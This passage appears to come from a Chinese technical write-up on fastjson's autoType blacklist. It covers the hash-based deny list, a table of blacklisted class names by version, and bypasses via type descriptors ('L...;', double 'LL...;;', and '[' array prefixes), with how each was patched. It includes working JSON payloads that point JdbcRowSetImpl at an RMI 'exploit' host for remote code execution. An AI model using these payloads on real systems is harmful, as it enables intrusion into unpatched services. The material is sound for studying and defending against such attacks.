// 如果全局开启了 autoTypeSupport,或者调用时传了期望类 expectClass
if (autoTypeSupport || expectClass != null) {
// Step 1: 遍历白名单 acceptList
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
// 命中白名单 -> 直接加载这个类
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

// Step 2: 遍历黑名单 denyList
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
// 命中黑名单 -> 抛出异常,禁止反序列化
throw new JSONException("autoType is not support. " + typeName);
}
}
}

如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Step 4: 如果 autoTypeSupport 没开,再检查黑名单和白名单
if (!autoTypeSupport) {
// 再次黑名单检查
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
// 再次白名单检查
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

// 注意:这里逻辑有点微妙,如果传了 expectClass 且不匹配,会抛异常
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。

1
2
3
4
// Step 5: 如果 autoTypeSupport 开启,或者有期望类,则直接尝试加载
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

哈希机制分析

fastjson 1.2.42 版本中,官方依然保留了 黑白名单检测机制,但对实现方式做了关键调整:黑名单不再存储明文类名,而是改为 基于哈希(Hash)的匹配,避免安全研究人员通过源码直接提取黑名单类名,进而对旧版本发起攻击。

核心逻辑依旧集中在 com.alibaba.fastjson.parser.ParserConfig 类中。在此类中,黑白名单的哈希值存储结构如下:

1
2
3
private boolean autoTypeSupport = AUTO_SUPPORT;    // 是否启用 AutoType(自动类型反序列化)支持
private long[] denyHashCodes; // 黑名单类名对应的哈希值数组
private long[] acceptHashCodes; // 白名单类名对应的哈希值数组

在静态代码块中,denyHashCodes 被直接赋值为一组敏感类的哈希值(使用 FNV-1a 算法计算而来)。例如:

1
2
3
4
5
6
denyHashCodes = new long[]{
-8720046426850100497L, -8109300701639721088L, -7966123100503199569L,
-7766605818834748097L, -6835437086156813536L, -4837536971810737970L,
// ...
8838294710098435315L
};

这些值对应了历史上常被用于攻击的高危类(如 JdbcRowSetImplTemplatesImplJNDI 相关类等),但具体类名已被隐藏,只保留哈希结果。

github 上有一个 fastjson-blacklist 项目通过枚举类名爆破了部分哈希值对应的包名。

对于白名单类名,系统会在初始化阶段根据类名计算其哈希值并排序后存储:

1
2
3
4
5
6
long[] hashCodes = new long[AUTO_TYPE_ACCEPT_LIST.length];
for (int i = 0; i < AUTO_TYPE_ACCEPT_LIST.length; i++) {
hashCodes[i] = TypeUtils.fnv1a_64(AUTO_TYPE_ACCEPT_LIST[i]);
}
Arrays.sort(hashCodes);
acceptHashCodes = hashCodes;

计算字符串哈希的函数是 com.alibaba.fastjson.util.TypeUtils#fnv1a_64,这个函数使用 FNV-1a 算法,对类名进行哈希计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static long fnv1a_64(String key) {
// FNV-1a 64 位初始值(固定)
long hashCode = 0xcbf29ce484222325L;

// 遍历字符串每个字符
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i); // 取出字符

hashCode ^= ch; // 异或字符
hashCode *= 0x100000001b3L; // 乘以 FNV 素数
}

return hashCode;
}

ParserConfig 还提供了运行时扩展 API,允许动态添加类名到黑名单或白名单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void addDeny(String name) {
if (name == null || name.isEmpty()) return;
long hash = TypeUtils.fnv1a_64(name);
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) return;

long[] newArray = Arrays.copyOf(denyHashCodes, denyHashCodes.length + 1);
newArray[newArray.length - 1] = hash;
Arrays.sort(newArray); // 确保可二分查找
denyHashCodes = newArray;
}

public void addAccept(String name) {
if (name == null || name.isEmpty()) return;
long hash = TypeUtils.fnv1a_64(name);
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) return;

long[] newArray = Arrays.copyOf(acceptHashCodes, acceptHashCodes.length + 1);
newArray[newArray.length - 1] = hash;
Arrays.sort(newArray);
acceptHashCodes = newArray;
}

checkAutoType 函数中,对类名的过滤同样也是通过计算查询哈希来实现的。例如下面这段代码是开启 autoTypeSupport 情况下的过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 性能优化,类名规则通常不短于 3 个字符
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
// 由于类名规则是前缀匹配,因此需要边计算哈希边查表
hash ^= className.charAt(i);
hash *= PRIME;
// 如果类名前缀包含在白名单中则直接加载类
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
// 命中黑名单则直接拒绝
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

基于类型描述符绕过

JVM 类型描述符(Type Descriptor)是一种字符串编码,用来在 .class 字节码里精确表示字段类型和方法签名(参数与返回值)。编译器、类加载器、反射、JNI、ASM 等都用它来识别类型。它是给机器看的“类型速记”,不是给人看的源码类型。

这里涉及到的类型描述符有:

引用类型(任意类/接口)

  • 形式:L + 内部类名 + ;

  • “内部类名”(internal name)用 斜杠 / 分隔包名;内部类$

    • java.lang.StringLjava/lang/String;
    • java.util.Map$EntryLjava/util/Map$Entry;

数组类型

  • 形式:[ + 组件类型描述符

  • 多维数组就多个 [

    • int[][I
    • String[][Ljava/lang/String;
    • int[][][[I
    • Map<String,Integer>[][](泛型被擦除)→ [[Ljava/util/Map;

com.alibaba.fastjson.util.TypeUtils#loadClass 在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [L; 字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 尝试根据类名加载一个 Class 对象,并带有缓存与多种 ClassLoader 回退策略
public static Class<?> loadClass(String className, ClassLoader classLoader) {
// 如果类名为空,直接返回 null
if (className == null || className.length() == 0) {
return null;
}

// Step 1: 先从缓存 mappings 里取(提高性能,避免重复加载)
Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz; // 如果缓存里已经有了,直接返回
}

// Step 2: 如果是数组类型(以 [ 开头)
if (className.charAt(0) == '[') {
// 递归加载数组的组件类型
Class<?> componentType = loadClass(className.substring(1), classLoader);
// 构造一个 0 长度的数组对象,返回它的 Class 类型
return Array.newInstance(componentType, 0).getClass();
}

// Step 3: 如果是对象数组的内部表示形式(以 L 开头,以 ; 结尾)
// 例如 "Ljava/lang/String;" 表示 String
if (className.startsWith("L") && className.endsWith(";")) {
// 去掉 L 和 ; 得到真实类名,再递归加载
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

// [...]

}

因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。

当然这里仅仅是绕过了开启 autoType 的情况,而如果是默认 autoTypeSupportfalse 的情况下不会加载白名单以外的类。

1
System.setProperty("fastjson.parser.autoTypeSupport", "true");

引用类型绕过(1.2.25 - 1.2.41)

在之前的 payload 类名上前后加上 L; 即可:

1
2
3
4
5
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://127.0.0.1:1099/exploit",
"autoCommit": true
}

TypeUtils#loadClass 中这部分字符会被去掉。

1
2
3
4
5
6
7
// Step 3: 如果是对象数组的内部表示形式(以 L 开头,以 ; 结尾)
// 例如 "Ljava/lang/String;" 表示 String[]
if (className.startsWith("L") && className.endsWith(";")) {
// 去掉 L 和 ; 得到真实类名,再递归加载
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

引用类型双写绕过(1.2.42)

FastJson 在 1.2.42 版本还在 checkAutoType 中加入判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring 进行了去除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 定义 FNV-1a 算法的两个常量
final long BASIC = 0xcbf29ce484222325L; // 初始偏移量 offset_basis
final long PRIME = 0x100000001b3L; // 素数乘子 FNV prime

// 特殊处理:检测类名是否是 "类型描述符" 格式,比如 "Lcom/xxx/YYY;"
// 在 JVM 的字节码描述符中,对象类型会写成 L + 类名 + ;
// 例如:Lcom/sun/rowset/JdbcRowSetImpl;
// 这种写法如果不规范化,会绕过 fastjson 的黑白名单检查
if ( (((BASIC
^ className.charAt(0)) // 把首字符加入哈希
* PRIME)
^ className.charAt(className.length() - 1)) // 再把尾字符加入哈希
* PRIME == 0x9198507b5af98f0L) // 魔数:等价于首='L' 且 尾=';'
{
// 如果命中,说明当前类名是被 L...; 包裹的 JVM 类型描述符
// 为了防止绕过,这里去掉首尾两个字符
// 比如:Lcom/sun/rowset/JdbcRowSetImpl; → com/sun/rowset/JdbcRowSetImpl
className = className.substring(1, className.length() - 1);
}

由于这里只检测并去除一次 L;,因此我们只需要双写绕过即可。

1
2
3
4
5
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "rmi://127.0.0.1:1099/exploit",
"autoCommit": true
}

FastJson 在 1.2.43 版本修复了上一个版本中双写绕过的问题。可以看到用来检查的 checkAutoType 代码添加了判断,如果类名连续出现了两个 L 将会抛出异常:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// FNV-1a 64 位哈希的固定参数
final long BASIC = 0xcbf29ce484222325L; // offset_basis
final long PRIME = 0x100000001b3L; // FNV_prime

// 【外层特征检测】:仅用“首字符 + 尾字符”做一次滚动哈希指纹:(((BASIC ^ first) * PRIME) ^ last) * PRIME
// 若结果等于 0x9198507b5af98f0L,则判定该字符串呈现 JVM“对象类型描述符”样式:L...;
if ((((BASIC
^ className.charAt(0)) // 吸收首字符
* PRIME)
^ className.charAt(className.length() - 1)) // 再吸收尾字符
* PRIME == 0x9198507b5af98f0L) // 命中:形如 "Lcom/foo/Bar;" 的描述符
{
// 【内层特征检测】:再用“首两个字符”做滚动哈希:(((BASIC ^ c0) * PRIME) ^ c1) * PRIME
// 若结果等于 0x09195c07b5af5345L(去掉前导 0 亦同),则说明前两个字符是 'L' 'L'(即以 "LL" 开头)
if ((((BASIC
^ className.charAt(0)) // c0
* PRIME)
^ className.charAt(1)) // c1
* PRIME == 0x09195c07b5af5345L) // 命中 "LL..." 的特征
{
// 对 "LL...;" 这种“双层 L 包裹”的写法直接拒绝:
// 这是为了防止“只剥一层 L...; 后仍然是 L...;”的绕过(例如 "LLFoo;;")
throw new JSONException("autoType is not support. " + typeName);
}

// 走到这里,说明外层是 "L...;",但不是 "LL...;"
// 于是进行“规范化”:去掉首尾的 L 和 ;,把描述符形式还原为普通类名
// 例如:Lcom/sun/rowset/JdbcRowSetImpl; -> com/sun/rowset/JdbcRowSetImpl
// 后续再配合把 '/' 转为 '.',进入常规黑/白名单匹配
className = className.substring(1, className.length() - 1);
}

这样使用 L; 绕过黑名单的思路就被阻挡了。

数组类型绕过(1.2.25 - 1.2.43)

loadClass 的过程中,还针对 [ 也进行了处理和递归:

1
2
3
4
5
6
7
// Step 2: 如果是数组类型(以 [ 开头)
if (className.charAt(0) == '[') {
// 递归加载数组的组件类型
Class<?> componentType = loadClass(className.substring(1), classLoader);
// 构造一个 0 长度的数组对象,返回它的 Class 类型
return Array.newInstance(componentType, 0).getClass();
}

因此可以利用 [ 进行黑名单的绕过:

1
2
3
4
5
6
7
8
{
"@type": "[com.sun.rowset.JdbcRowSetImpl"[
{
"dataSourceName": "rmi://127.0.0.1:1099/exploit",
"autoCommit": true
}
]
}

提示

Fastjson 在早期版本(比如 1.2.42/43)里,专门对 @type 做了扩展:

  • 如果 @type 的值是一个以 [ 开头的字符串,例如:

    1
    "@type": "[com.foo.Bar"

    Fastjson 会把它理解为 “数组类型声明”,即 com.foo.Bar[]

  • 这时候,**紧跟着的 [**(没有逗号、没有结束分隔)会被 Fastjson 容错解析为 这个数组类型的实际数组值

也就是说:

1
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{...}]

在 Fastjson 的解析逻辑里被拆成:

  1. @type = "[com.sun.rowset.JdbcRowSetImpl" → 类型是 JdbcRowSetImpl[]
  2. [{...}] → 这是数组的具体元素(里面放一个对象,字段 dataSourceNameautoCommit)。

在有些资料中,上述 payload 会被写成错误格式,例如:

1
2
3
4
5
{
"@type": "[com.sun.rowset.JdbcRowSetImpl"[,{
"dataSourceName": "rmi://127.0.0.1:1099/exploit",
"autoCommit": true
}

但是由于 FastJson 的解析顺序问题,JdbcRowSetImpl 对象依旧可以被实例化。

FastJson 在 1.2.43 版本修复了上一个版本中使用 [ 绕过黑名单防护的问题。

可以看到在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// FNV-1a 64 位哈希的固定参数
final long BASIC = 0xcbf29ce484222325L; // FNV offset_basis(初始值)
final long PRIME = 0x100000001b3L; // FNV prime(乘子)

// 先把“首字符”滚入哈希:h1 = ((BASIC ^ firstChar) * PRIME) mod 2^64
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;

// 【规则 1】若 h1 等于 0xaf64164c86024f1aL,则立即拒绝
// 说明:0xaf64164c86024f1aL 恰好是 FNV-1a 计算 ((BASIC ^ '[') * PRIME) 的结果,
// 也就是“首字符为 '[' ”的特征指纹。'[' 是 JVM 类型描述符里“数组类型”的起始标志,
// 比如:[I、[Ljava/lang/String;、[[Lcom/xx/YY; 等。
// —— 触发这里代表传入的是“数组描述符”风格,直接抛异常阻断数组绕过。
if (h1 == 0xaf64164c86024f1aL) { // '['
throw new JSONException("autoType is not support. " + typeName);
}

// 【规则 2】若 ((h1 ^ lastChar) * PRIME) 等于 0x9198507b5af98f0L,则立即拒绝
// 说明:0x9198507b5af98f0L 是 FNV-1a 计算 (((BASIC ^ 'L') * PRIME) ^ ';') * PRIME 的结果,
// 也就是说:首字符为 'L' 且末字符为 ';' —— JVM “对象类型描述符” 的典型包裹形式:L...;
// 例如:Lcom/sun/rowset/JdbcRowSetImpl;。
// —— 触发这里代表传入的是“对象描述符”风格,同样直接抛异常阻断利用。
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

基于黑名单外的类绕过

这里主要是通过寻找黑名单之外的类进行绕过。

FastJson 1.2.42 引入了哈希机制,下面是目前已知的黑名单列表:

version hash hex-hash name
1.2.42 33238344207745342 0x761619136cc13eL bsh
1.2.42 -8720046426850100497 0x86fc2bf9beaf7aefL org.apache.commons.collections4.comparators
1.2.42 -8109300701639721088 0x8f75f9fa0df03f80L org.python.core
1.2.42 -7966123100503199569 0x9172a53f157930afL org.apache.tomcat
1.2.42 -7766605818834748097 0x9437792831df7d3fL org.apache.xalan
1.2.42 -6835437086156813536 0xa123a62f93178b20L javax.xml
1.2.42 -4837536971810737970 0xbcdd9dc12766f0ceL org.springframework.
1.2.42 -4082057040235125754 0xc7599ebfe3e72406L org.apache.commons.beanutils
1.2.42 -2364987994247679115 0xdf2ddff310cdb375L org.apache.commons.collections.Transformer
1.2.42 -1872417015366588117 0xe603d6a51fad692bL org.codehaus.groovy.runtime
1.2.42 -254670111376247151 0xfc773ae20c827691L java.lang.Thread
1.2.42 -190281065685395680 0xfd5bfc610056d720L javax.net.
1.2.42 313864100207897507 0x45b11bc78a3aba3L com.mchange
1.2.42 1203232727967308606 0x10b2bdca849d9b3eL org.apache.wicket.util
1.2.42 1502845958873959152 0x14db2e6fead04af0L java.util.jar.
1.2.42 3547627781654598988 0x313bb4abd8d4554cL org.mozilla.javascript
1.2.42 3730752432285826863 0x33c64b921f523f2fL java.rmi
1.2.42 3794316665763266033 0x34a81ee78429fdf1L java.util.prefs.
1.2.42 4147696707147271408 0x398f942e01920cf0L com.sun.
1.2.42 5347909877633654828 0x4a3797b30328202cL java.util.logging.
1.2.42 5450448828334921485 0x4ba3e254e758d70dL org.apache.bcel
1.2.42 5751393439502795295 0x4fd10ddc6d13821fL java.net.Socket
1.2.42 5944107969236155580 0x527db6b46ce3bcbcL org.apache.commons.fileupload
1.2.42 6742705432718011780 0x5d92e6ddde40ed84L org.jboss
1.2.42 7179336928365889465 0x63a220e60a17c7b9L org.hibernate
1.2.42 7442624256860549330 0x6749835432e0f0d2L org.apache.commons.collections.functors
1.2.42 8838294710098435315 0x7aa7ee3627a19cf3L org.apache.myfaces.context.servlet
1.2.43 -2262244760619952081 0xe09ae4604842582fL java.net.URL
1.2.46 -8165637398350707645 0x8eadd40cb2a94443L junit.
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
1.2.46 -7921218830998286408 0x92122d710e364fb8L org.osjava.sj.
1.2.46 -7768608037458185275 0x94305c26580f73c5L org.apache.log4j.
1.2.46 -6179589609550493385 0xaa3daffdb10c4937L org.logicalcobwebs.
1.2.46 -5194641081268104286 0xb7e8ed757f5d13a2L org.apache.logging.
1.2.46 -3935185854875733362 0xc963695082fd728eL org.apache.commons.dbcp
1.2.46 -2753427844400776271 0xd9c9dbf6bbd27bb1L com.ibatis.sqlmap.engine.datasource
1.2.46 -1589194880214235129 0xe9f20bad25f60807L org.jdom.
1.2.46 1073634739308289776 0xee6511b66fd5ef0L org.slf4j.
1.2.46 5688200883751798389 0x4ef08c90ff16c675L javassist.
1.2.46 7017492163108594270 0x616323f12c2ce25eL oracle.net
1.2.46 8389032537095247355 0x746bd4a53ec195fbL org.jaxen.
1.2.48 1459860845934817624 0x144277b467723158L java.net.InetAddress
1.2.48 8409640769019589119 0x74b50bb9260e31ffL java.lang.Class
1.2.49 4904007817188630457 0x440e89208f445fb9L com.alibaba.fastjson.annotation
1.2.59 5100336081510080343 0x46c808a4b5841f57L org.apache.cxf.jaxrs.provider.
1.2.59 6456855723474196908 0x599b5c1213a099acL ch.qos.logback.
1.2.59 8537233257283452655 0x767a586a5107feefL net.sf.ehcache.transaction.manager.
1.2.60 3688179072722109200 0x332f0b5369a18310L com.zaxxer.hikari.
1.2.61 -4401390804044377335 0xc2eb1e621f439309L flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61 -1650485814983027158 0xe9184be55b1d962aL org.apache.openjpa.ee.
1.2.61 -1251419154176620831 0xeea210e8da2ec6e1L oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61 -9822483067882491 0xffdd1a80f1ed3405L com.mysql.cj.jdbc.admin.
1.2.61 99147092142056280 0x1603dc147a3e358L oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61 3114862868117605599 0x2b3a37467a344cdfL org.apache.ibatis.parsing.
1.2.61 4814658433570175913 0x42d11a560fc9fba9L org.apache.axis2.jaxws.spi.handler.
1.2.61 6511035576063254270 0x5a5bd85c072e5efeL jodd.db.connection.
1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration
1.2.62 -9164606388214699518 0x80d0c70bcc2fea02L org.apache.ibatis.executor.
1.2.62 -8649961213709896794 0x87f52a1b07ea33a6L net.sf.cglib.
1.2.62 -6316154655839304624 0xa85882ce1044c450L oracle.net.
1.2.62 -5764804792063216819 0xafff4c95b99a334dL com.mysql.cj.jdbc.MysqlDataSource
1.2.62 -4608341446948126581 0xc00be1debaf2808bL jdk.internal.
1.2.62 -4438775680185074100 0xc2664d0958ecfe4cL aj.org.objectweb.asm.
1.2.62 -3319207949486691020 0xd1efcdf4b3316d34L oracle.jdbc.
1.2.62 -2192804397019347313 0xe1919804d5bf468fL org.apache.commons.collections.comparators.
1.2.62 -2095516571388852610 0xe2eb3ac7e56c467eL net.sf.ehcache.hibernate.
1.2.62 4750336058574309 0x10e067cd55c5e5L com.mysql.cj.log.
1.2.62 218512992947536312 0x3085068cb7201b8L org.h2.jdbcx.
1.2.62 823641066473609950 0xb6e292fa5955adeL org.apache.commons.logging.
1.2.62 1534439610567445754 0x154b6cb22d294cfaL org.apache.ibatis.reflection.
1.2.62 1818089308493370394 0x193b2697eaaed41aL org.h2.server.
1.2.62 2164696723069287854 0x1e0a8c3358ff3daeL org.apache.ibatis.datasource.
1.2.62 2653453629929770569 0x24d2f6048fef4e49L org.objectweb.asm.
1.2.62 2836431254737891113 0x275d0732b877af29L flex.messaging.util.concurrent.
1.2.62 3089451460101527857 0x2adfefbbfe29d931L org.apache.ibatis.javassist.
1.2.62 3256258368248066264 0x2d308dbbc851b0d8L java.lang.UNIXProcess
1.2.62 3718352661124136681 0x339a3e0b6beebee9L org.apache.ibatis.ognl.
1.2.62 4046190361520671643 0x3826f4b2380c8b9bL com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62 4841947709850912914 0x43320dc9d2ae0892L org.codehaus.jackson.
1.2.62 6280357960959217660 0x5728504a6d454ffcL org.apache.ibatis.scripting.
1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L org.apache.commons.proxy.
1.2.62 6734240326434096246 0x5d74d3e5b9370476L com.mysql.cj.jdbc.MysqlXADataSource
1.2.62 7123326897294507060 0x62db241274397c34L org.apache.commons.collections.functors.
1.2.62 8488266005336625107 0x75cc60f5871d0fd3L org.apache.commons.configuration
1.2.66 -2439930098895578154 0xde23a0809a8b9bd6L javax.script.
1.2.66 -582813228520337988 0xf7e96e74dfa58dbcL javax.sound.
1.2.66 -26639035867733124 0xffa15bf021f1e37cL javax.print.
1.2.66 386461436234701831 0x55cfca0f2281c07L javax.activation.
1.2.66 1153291637701043748 0x100150a253996624L javax.tools.
1.2.66 1698504441317515818L 0x17924cca5227622aL javax.management.
1.2.66 7375862386996623731L 0x665c53c311193973L org.apache.xbean.
1.2.66 7658177784286215602L 0x6a47501ebb2afdb2L org.eclipse.jetty.
1.2.66 8055461369741094911L 0x6fcabf6fa54cafffL javax.naming.
1.2.67 -7775351613326101303L 0x941866e73beff4c9L org.apache.shiro.realm.
1.2.67 -6025144546313590215L 0xac6262f52c98aa39L org.apache.http.conn.
1.2.67 -5939269048541779808L 0xad937a449831e8a0L org.quartz.
1.2.67 -5885964883385605994L 0xae50da1fad60a096L com.taobao.eagleeye.wrapper
1.2.67 -3975378478825053783L 0xc8d49e5601e661a9L org.apache.http.impl.
1.2.67 -2378990704010641148L 0xdefc208f237d4104L com.ibatis.
1.2.67 -905177026366752536L 0xf3702a4a5490b8e8L org.apache.catalina.
1.2.67 2660670623866180977L 0x24ec99d5e7dc5571L org.apache.http.auth.
1.2.67 2731823439467737506L 0x25e962f1c28f71a2L br.com.anteros.
1.2.67 3637939656440441093L 0x327c8ed7c8706905L com.caucho.
1.2.67 4254584350247334433L 0x3b0b51ecbf6db221L org.apache.http.cookie.
1.2.67 5274044858141538265L 0x49312bdafb0077d9L org.javasimon.
1.2.67 5474268165959054640L 0x4bf881e49d37f530L org.apache.cocoon.
1.2.67 5596129856135573697L 0x4da972745feb30c1L org.apache.activemq.jms.pool.
1.2.67 6854854816081053523L 0x5f215622fb630753L org.mortbay.jetty.
1.2.68 -3077205613010077203L 0xd54b91cc77b239edL org.apache.shiro.jndi.
1.2.68 -2825378362173150292L 0xd8ca3d595e982bacL org.apache.ignite.cache.jta.
1.2.68 2078113382421334967L 0x1cd6f11c6a358bb7L javax.swing.J
1.2.68 6007332606592876737L 0x535e552d6f9700c1L org.aoju.bus.proxy.provider.
1.2.68 9140390920032557669L 0x7ed9311d28bf1a65L java.awt.p
1.2.68 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.69 -8024746738719829346L 0x90a25f5baa21529eL java.io.Serializable
1.2.69 -5811778396720452501L 0xaf586a571e302c6bL java.io.Closeable
1.2.69 -3053747177772160511L 0xd59ee91f0b09ea01L oracle.jms.AQ
1.2.69 -2114196234051346931L 0xe2a8ddba03e69e0dL java.util.Collection
1.2.69 -2027296626235911549L 0xe3dd9875a2dc5283L java.lang.Iterable
1.2.69 -2939497380989775398L 0xd734ceb4c3e9d1daL java.lang.Object
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 3247277300971823414L 0x2d10a5801b9d6136L java.lang.Cloneable
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 7222019943667248779L 0x6439c4dff712ae8bL java.util.EventListener
1.2.70 -5076846148177416215L 0xb98b6b5396932fe9L org.apache.commons.collections4.Transformer
1.2.70 -4703320437989596122L 0xbeba72fb1ccba426L org.apache.commons.collections4.functors
1.2.70 -4314457471973557243L 0xc41ff7c9c87c7c05L org.jdom2.transform.
1.2.70 -2533039401923731906L 0xdcd8d615a6449e3eL org.apache.hadoop.shaded.com.zaxxer.hikari.
1.2.70 156405680656087946L 0x22baa234c5bfb8aL com.p6spy.engine.
1.2.70 1214780596910349029L 0x10dbc48446e0dae5L org.apache.activemq.pool.
1.2.70 3085473968517218653L 0x2ad1ce3a112f015dL org.apache.aries.transaction.
1.2.70 3129395579983849527L 0x2b6dd8b3229d6837L org.apache.activemq.ActiveMQConnectionFactory
1.2.70 4241163808635564644L 0x3adba40367f73264L org.apache.activemq.spring.
1.2.70 7240293012336844478L 0x647ab0224e149ebeL org.apache.activemq.ActiveMQXAConnectionFactory
1.2.70 7347653049056829645L 0x65f81b84c1d920cdL org.apache.commons.jelly.
1.2.70 7617522210483516279L 0x69b6e0175084b377L org.apache.axis2.transport.jms.
1.2.71 -4537258998789938600L 0xc1086afae32e6258L java.io.FileReader
1.2.71 -4150995715611818742L 0xc664b363baca050aL java.io.ObjectInputStream
1.2.71 -2995060141064716555L 0xd66f68ab92e7fef5L java.io.FileInputStream
1.2.71 -965955008570215305L 0xf2983d099d29b477L java.io.ObjectOutputStream
1.2.71 -219577392946377768L 0xfcf3e78644b98bd8L java.io.DataOutputStream
1.2.71 2622551729063269307L x24652ce717e713bbL java.io.PrintWriter
1.2.71 2930861374593775110L 0x28ac82e44e933606L java.io.Buffered
1.2.71 4000049462512838776L 0x378307cb0111e878L java.io.InputStreamReader
1.2.71 4193204392725694463L 0x3a31412dbb05c7ffL java.io.OutputStreamWriter
1.2.71 5545425291794704408L 0x4cf54eec05e3e818L java.io.FileWriter
1.2.71 6584624952928234050L 0x5b6149820275ea42L java.io.FileOutputStream
1.2.71 7045245923763966215L 0x61c5bdd721385107L java.io.DataInputStream
1.2.78 -3750763034362895579L 0xcbf29ce484222325L 空串
1.2.83 -8754006975464705441L 0x868385095a22725fL org.apache.commons.io.
1.2.83 -8382625455832334425L 0x8baaee8f9bf77fa7L org.mvel2.
1.2.83 -6088208984980396913L 0xab82562f53e6e48fL kotlin.reflect.
1.2.83 -4733542790109620528L 0xbe4f13e96a6796d0L com.googlecode.aviator.
1.2.83 -1363634950764737555L 0xed13653cb45c4bedL org.aspectj.
1.2.83 -803541446955902575L 0xf4d93f4fb3e3d991L org.dom4j.
1.2.83 860052378298585747L 0xbef8514d0b79293L org.apache.commons.cli.
1.2.83 1268707909007641340L 0x119b5b1f10210afcL com.google.common.eventbus.
1.2.83 3058452313624178956L 0x2a71ce2cc40a710cL org.thymeleaf.
1.2.83 3740226159580918099L 0x33e7f3e02571b153L org.junit.
1.2.83 3977090344859527316L 0x37317698dcfce894L org.mockito.asm.
1.2.83 4319304524795015394L 0x3bf14094a524f0e2L com.google.common.io.
1.2.83 5120543992130540564L 0x470fd3a18bb39414L org.mockito.runners.
1.2.83 5916409771425455946L 0x521b4f573376df4aL org.mockito.cglib.
1.2.83 6090377589998869205L 0x54855e265fe1dad5L com.google.common.reflect.
1.2.83 7164889056054194741L 0x636ecca2a131b235L org.mockito.stubbing.
1.2.83 8711531061028787095L 0x78e5935826671397L org.apache.commons.codec.
1.2.83 8735538376409180149L 0x793addded7a967f5L ognl.
1.2.83 8861402923078831179L 0x7afa070241b8cc4bL com.google.common.util.concurrent.
1.2.83 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.83 9144212112462101475L 0x7ee6c477da20bbe3L com.google.common.net.

另外还有一些暂时未知的:

version hash hex-hash name
1.2.67 -831789045734283466L 0xf474e44518f26736L
1.2.71 3452379460455804429L 0x2fe950d3ea52ae0dL
1.2.78 -8614556368991373401L 0x8872f29fd0b0b7a7L
1.2.78 -5472097725414717105L 0xb40f341c746ec94fL
1.2.78 -1800035667138631116L 0xe704fd19052b2a34L
1.2.78 -831789045734283466L 0xf474e44518f26736L
1.2.78 33238344207745342L 0x761619136cc13eL
1.2.78 3452379460455804429L 0x2fe950d3ea52ae0dL
1.2.78 4215053018660518963L 0x3a7ee0635eb2bc33L
1.2.83 -8614556368991373401L 0x8872f29fd0b0b7a7L
1.2.83 -3750763034362895579L 0xcbf29ce484222325L
